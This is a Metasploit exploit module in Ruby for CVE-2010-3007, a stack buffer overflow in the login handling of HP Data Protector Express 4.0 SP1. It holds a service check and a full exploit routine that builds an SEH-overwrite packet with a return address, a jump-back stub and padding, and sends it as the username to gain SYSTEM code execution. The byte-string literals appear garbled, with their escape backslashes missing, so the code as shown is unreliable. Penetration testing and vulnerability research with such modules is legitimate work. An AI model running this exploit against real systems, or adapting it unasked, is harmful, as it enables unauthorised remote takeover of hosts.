##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP Data Protector DtbClsLogin Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HP Data Protector 4.0 SP1. The
				overflow occurs during the login process, in the DtbClsLogin function provided by
				the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) is used in an
				insecure way with the username. A successful exploitation will lead to code execution
				with the privileges of the "dpwinsdr.exe" (HP Data Protector Express Domain Server
				Service) process, which runs as SYSTEM by default.
			},
			'Author'         =>
				[
					'AbdulAziz Hariri', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2010-3007' ],
					[ 'OSVDB', '67973' ],
					[ 'BID', '43105' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ],
					[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02498535' ]
				],
			'Payload'        =>
				{
					'Space' => 712,
					'BadChars' => "x00",
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['HP Data Protector Express 4.0 SP1 (build 43064) / Windows XP SP3',
						{
							'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)
							'Offset' => 712
						}
					]
				],
			'DefaultTarget' => 0,
			'Privileged'     => true,
			'DisclosureDate' => 'Sep 09 2010'
			))
		register_options(
			[
				Opt::RPORT(3817),
			], self.class)
	end

	def check
		connect

		machine_name = rand_text_alpha(15)

		print_status("#{sock.peerinfo} - Sending Hello Request")
		hello =  "x54x84x00x00x00x00x00x00" << "x00x01x00x00x92x00x00x00"
		hello << "x3ax53xa5x71x02x40x80x00" << "x89xffxb5x00x9bxe8x9ax00"
		hello << "x01x00x00x00xc0xa8x01x86" << "x00x00x00x00x00x00x00x00"
		hello << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		hello << "x00x00x00x00x01x00x00x00" << "x00x00x00x00x00x00x00x00"
		hello << "x00x00x00x00"
		hello << machine_name << "x00"
		hello << "x5bx2exadx71xb0x02x00x00" << "xffxffx00x00x06x10x00x44"
		hello << "x74x62x3ax20x43x6fx6ex74" << "x65x78x74x00xe8xc1x08x10"
		hello << "xb0x02x00x00xffxffx00x00" << "x06x10x00x00x7cxfa"

		sock.put(hello)
		hello_response = sock.get
		disconnect

		if hello_response and hello_response =~ /Dtb: Context/
			return Exploit::CheckCode::Detected
		end

		return Exploit::CheckCode::Safe

	end

	def exploit

		connect

		machine_name = rand_text_alpha(15)

		print_status("#{sock.peerinfo} - Sending Hello Request")
		hello =  "x54x84x00x00x00x00x00x00" << "x00x01x00x00x92x00x00x00"
		hello << "x3ax53xa5x71x02x40x80x00" << "x89xffxb5x00x9bxe8x9ax00"
		hello << "x01x00x00x00xc0xa8x01x86" << "x00x00x00x00x00x00x00x00"
		hello << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		hello << "x00x00x00x00x01x00x00x00" << "x00x00x00x00x00x00x00x00"
		hello << "x00x00x00x00"
		hello << machine_name << "x00"
		hello << "x5bx2exadx71xb0x02x00x00" << "xffxffx00x00x06x10x00x44"
		hello << "x74x62x3ax20x43x6fx6ex74" << "x65x78x74x00xe8xc1x08x10"
		hello << "xb0x02x00x00xffxffx00x00" << "x06x10x00x00x7cxfa"

		sock.put(hello)
		hello_response = sock.get

		if not hello_response or hello_response.empty?
			print_error("#{sock.peerinfo} - The Hello Request hasn't received a response")
			return
		end

		bof = payload.encoded
		bof << rand_text(target['Offset']-bof.length)
		bof << generate_seh_record(target.ret)
		bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']+8}").encode_string
		# The line below is used to trigger exception, don't go confused because of the big space,
		# there are only some available bytes until the end of the stack, it allows to assure exception
		# when there are mappings for dynamic memory after the stack, so to assure reliability it's better
		# to jump back.
		bof << rand_text(100000)

		header =  [0x8451].pack("V") # packet id
		header << [0x32020202].pack("V") # svc id
		header << [0x00000018].pack("V") # cmd id
		header << [0].pack("V") # pkt length, calculated after pkt has been built
		header << "x00x00x00x00" # ?Unknown?

		pkt_auth = header
		pkt_auth << bof # username

		pkt_auth[12, 4] = [pkt_auth.length].pack("V")

		print_status("#{sock.peerinfo} - Sending Authentication Request")

		sock.put(pkt_auth)
		disconnect
	end
end